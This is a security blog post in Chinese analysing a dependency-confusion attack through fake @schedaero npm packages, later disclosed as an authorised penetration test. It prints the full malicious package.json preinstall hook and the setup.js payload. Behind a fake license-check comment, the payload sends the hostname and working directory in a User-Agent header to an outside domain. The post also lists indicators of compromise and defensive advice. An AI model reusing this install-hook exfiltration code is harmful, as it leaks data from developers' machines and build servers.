目录
发布本文后,我们通过公开渠道得知,本文所述的活动是一次授权的渗透测试/安全评估。为确保透明度和准确性,我们分享此更新。
这是一次受控的安全评估,并非恶意攻击,没有系统或数据受到影响。
简述
我们的恶意软件包扫描基础设施最近标记了一批恶意 npm 软件包,这些软件包执行了一次经典的依赖混淆(Dependency Confusion)攻击。这些软件包冒充 @schedaero 的内部作用域。
攻击者使用 npm 账户 noboots11 发布多个相同的软件包。这些软件包包含一个恶意 preinstall 脚本,在安装时会立即执行,收集系统信息并通过自定义的 User-Agent 字符串将数据外泄到一个可疑的端点,然后成功退出以使 npm 安装继续进行。
恶意活动
威胁行为者以 @schedaero npm 组织作用域发布了多个软件包。所有软件包使用完全相同的版本(99440.540.1)——这是一个人为夸大的版本号,旨在保证它能覆盖任何内部版本,并且使用相同的载荷。
被标记的软件包包括:
@Schedaero/shared@Schedaero/net-common@Schedaero/bacon@Schedaero/yukon@Schedaero/react-core
到目前为止,我们观察到这 5 个软件包的下载量超过 500 次。这表明配置错误的系统或自动化构建管道已经开始拉取恶意代码。
这些软件包使用了通用的自动生成描述:*"一个包含辅助方法和详尽文档的综合算术工具包。"*
攻击向量分析
感染向量依赖于 preinstall 中的 package.json 钩子。这个生命周期脚本允许在软件包成功安装之前执行任意代码。
以下是 @Schedaero/shared 的恶意 package.json:
{
"name": "@Schedaero/shared",
"version": "99440.540.1",
"description": "A comprehensive arithmetic toolkit with helper methods and extensive documentation.",
"main": "src/index.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1",
"preinstall": "node scripts/setup.js"
},
"keywords": ["arithmetic", "math", "helpers", "documentation"],
"author": "Arithmetic Inc.",
"license": "MIT",
"dependencies": {
"@Schedaero/shared": "^99439.540.1"
}
}注意 preinstall: "node scripts/setup.js" 指令。一旦 npm install @Schedaero/shared 被调用,setup.js 就会执行。
载荷分析:setup.js
执行 setup.js 会揭示一个轻量级的侦察和数据外泄载荷。
const https = require('https');
const os = require('os');
/**
* @file This script is executed before the package is installed.
* Performs license checks if necessary.
*/
const LICENSE_URL = 'https://edrxkprbcqxvbhveoqmmpxavp9wwhkqy4.gjq.io/';
const hostname = os.hostname();
const c = process.cwd();
console.log('Sending installation callback...');
const options = {
hostname: new URL(LICENSE_URL).hostname,
path: new URL(LICENSE_URL).pathname,
method: 'GET',
headers: {
'User-Agent': \`Node.js/${process.version} (${hostname}) [${c}]\`,
},
};
const req = https.request(options, (res) => {
console.log(\`License callback request sent. Status Code: ${res.statusCode}\`);
});
req.setTimeout(2000, () => {
console.error('Callback request timed out. Aborting.');
req.destroy();
});
req.on('error', (err) => {
console.error('Error sending callback:', err.message);
});
req.on('close', () => {
console.log('Callback request finished.');
process.exit(0);
});
console.log('End');
req.end();域名 https://edrxkprbcqxvbhveoqmmpxavp9wwhkqy4.gjq.io/ 被多个供应商识别为恶意。
载荷分解
- 欺骗性注释:该脚本伪装执行"许可证检查",这是一种常见的社会工程策略,如果开发人员检查代码,可用来转移怀疑。
- 侦察:它收集两个关键的环境上下文信息:机器的
hostname和当前工作目录(process.cwd())。这告诉攻击者谁执行了代码以及在哪里运行(例如在特定项目文件夹内,如/opt/buildagents/work/schedaero-api)。 - 通过 HTTP 头外泄数据:收集的数据被隐蔽地打包到
User-AgentHTTP 头中,完全绕过了只检查 URL 参数或请求体的基本网络检查工具。- 外泄的头部示例:
User-Agent: Node.js/v20.11.0 (dev-macbook-pro) [/Users/dev/projects/Schedaero/internal-app]
- 外泄的头部示例:
- 强制进程退出:在
close处理程序中,脚本执行process.exit(0);。这会以"成功"代码无条件地终止 Node.js 进程。这种突然终止会阻止实际的 npm 安装过程继续。其可能的目标是防止在后续阶段抛出可见的安装错误,同时成功完成到攻击者基础设施的 DNS/HTTP 回调。
妥协指标(IOC)
| 指标类型 | 值 |
|---|---|
| 恶意 URL | https://edrxkprbcqxvbhveoqmmpxavp9wwhkqy4.gjq.io/ |
| 域名 | gjq.io |
| npm 作者 | noboots11 |
| 可疑作用域 | @Schedaero/* |
结论
此次活动代表了一次典型的依赖混淆攻击,其特征是人为夸大的版本号、有针对性的作用域冒充,以及安装前的即时执行。主机名和当前工作目录的外泄使威胁行为者能够验证是否成功入侵了员工的工作站或企业构建服务器,为进一步定向入侵提供了立足点。
防御依赖混淆需要对软件包解析进行严格控制。组织应强制执行作用域到注册表的映射(确保 @internal-scopes 仅解析到私有注册表),并利用工具扫描异常的软件包行为,例如意外的 preinstall 生命周期执行和外部网络调用,在代码到达开发人员机器之前进行检测。
- npm
- oss
- malware
- supply-chain
- security
- dependency-confusion
SafeDep 博客最新内容
关注以获取开源安全与工程的最新更新和见解